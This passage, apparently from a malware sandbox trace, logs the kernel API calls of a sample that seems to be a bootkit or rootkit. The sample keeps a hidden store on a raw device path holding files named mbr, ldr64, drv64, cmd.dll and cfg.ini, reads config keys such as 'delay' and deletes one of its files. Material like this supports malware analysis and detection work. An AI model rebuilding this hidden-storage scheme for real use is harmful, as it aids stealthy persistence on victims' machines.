_MaxCount=0x10) returned -108 [0123.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.486] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.486] KeLeaveCriticalRegion () [0123.486] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.486] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.486] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.486] KeEnterCriticalRegion () [0123.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.486] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.486] IdePortDispatch () returned 0x103 [0123.487] KeWaitForMutexObject () returned 0x0 [0123.487] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.487] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.487] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.487] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.487] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.487] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.487] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.487] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.487] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.487] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.487] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.487] KeLeaveCriticalRegion () [0123.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.487] ReleaseMutex (hMutex=0x100) returned 1 [0123.487] Sleep (dwMilliseconds=0x2bf20) [0123.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ccd1c50, dwHighDateTime=0x1d24fa4)) [0123.493] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.493] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.493] KeEnterCriticalRegion () [0123.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.493] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.493] IdePortDispatch () returned 0x103 [0123.494] KeWaitForMutexObject () returned 0x0 [0123.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.494] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.494] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.494] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.494] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.494] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003608390 [0123.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.494] KeLeaveCriticalRegion () [0123.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.494] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.494] KeEnterCriticalRegion () [0123.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.494] KeLeaveCriticalRegion () [0123.494] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.494] KeEnterCriticalRegion () [0123.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.494] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.494] IdePortDispatch () returned 0x103 [0123.494] KeWaitForMutexObject () returned 0x0 [0123.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.494] KeLeaveCriticalRegion () [0123.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.494] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.495] KeEnterCriticalRegion () [0123.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034be000 [0123.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.495] IdePortDispatch () returned 0x103 [0123.495] KeWaitForMutexObject () returned 0x0 [0123.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.495] IdePortDispatch () returned 0x103 [0123.495] KeWaitForMutexObject () returned 0x0 [0123.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.495] KeLeaveCriticalRegion () [0123.495] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.496] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.496] KeEnterCriticalRegion () [0123.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.496] KeLeaveCriticalRegion () [0123.496] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.496] KeEnterCriticalRegion () [0123.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.496] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.496] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.496] KeLeaveCriticalRegion () [0123.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.496] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.496] KeEnterCriticalRegion () [0123.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.496] ExFreePoolWithTag (P=0xfffffa8003608390, Tag=0x0) [0123.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.496] KeLeaveCriticalRegion () [0123.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.496] ReleaseMutex (hMutex=0xf0) returned 1 [0123.496] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.496] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.496] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.496] KeEnterCriticalRegion () [0123.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.496] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.496] IdePortDispatch () returned 0x103 [0123.496] KeWaitForMutexObject () returned 0x0 [0123.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.497] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.497] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.497] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.497] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.497] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb540 [0123.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.497] KeLeaveCriticalRegion () [0123.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.497] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.497] KeEnterCriticalRegion () [0123.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.497] KeLeaveCriticalRegion () [0123.497] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.497] KeEnterCriticalRegion () [0123.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.497] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.497] IdePortDispatch () returned 0x103 [0123.497] KeWaitForMutexObject () returned 0x0 [0123.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.497] KeLeaveCriticalRegion () [0123.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.497] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.497] KeEnterCriticalRegion () [0123.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bf000 [0123.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.498] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.498] IdePortDispatch () returned 0x103 [0123.498] KeWaitForMutexObject () returned 0x0 [0123.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.498] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.498] IdePortDispatch () returned 0x103 [0123.498] KeWaitForMutexObject () returned 0x0 [0123.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.498] KeLeaveCriticalRegion () [0123.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.499] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.499] KeEnterCriticalRegion () [0123.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.499] KeLeaveCriticalRegion () [0123.499] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.499] KeEnterCriticalRegion () [0123.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.499] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.499] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becbd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.499] KeLeaveCriticalRegion () [0123.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.499] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.499] KeEnterCriticalRegion () [0123.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.499] ExFreePoolWithTag (P=0xfffffa8003beb540, Tag=0x0) [0123.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.499] KeLeaveCriticalRegion () [0123.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.499] ReleaseMutex (hMutex=0xf0) returned 1 [0123.499] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.499] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.499] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.499] KeEnterCriticalRegion () [0123.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.499] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.499] IdePortDispatch () returned 0x103 [0123.499] KeWaitForMutexObject () returned 0x0 [0123.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.499] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.499] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.500] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.500] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.500] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becfb0 [0123.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.500] KeLeaveCriticalRegion () [0123.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.500] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.500] KeEnterCriticalRegion () [0123.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.500] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.500] KeLeaveCriticalRegion () [0123.500] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.500] KeEnterCriticalRegion () [0123.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.500] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.500] IdePortDispatch () returned 0x103 [0123.500] KeWaitForMutexObject () returned 0x0 [0123.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.500] KeLeaveCriticalRegion () [0123.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.500] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.500] KeEnterCriticalRegion () [0123.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c0000 [0123.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.500] IdePortDispatch () returned 0x103 [0123.500] KeWaitForMutexObject () returned 0x0 [0123.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.501] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.501] IdePortDispatch () returned 0x103 [0123.501] KeWaitForMutexObject () returned 0x0 [0123.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.501] KeLeaveCriticalRegion () [0123.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.501] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.501] KeEnterCriticalRegion () [0123.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.501] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.501] KeLeaveCriticalRegion () [0123.502] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.502] KeEnterCriticalRegion () [0123.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.502] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.502] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.502] KeLeaveCriticalRegion () [0123.502] IofCompleteRequest 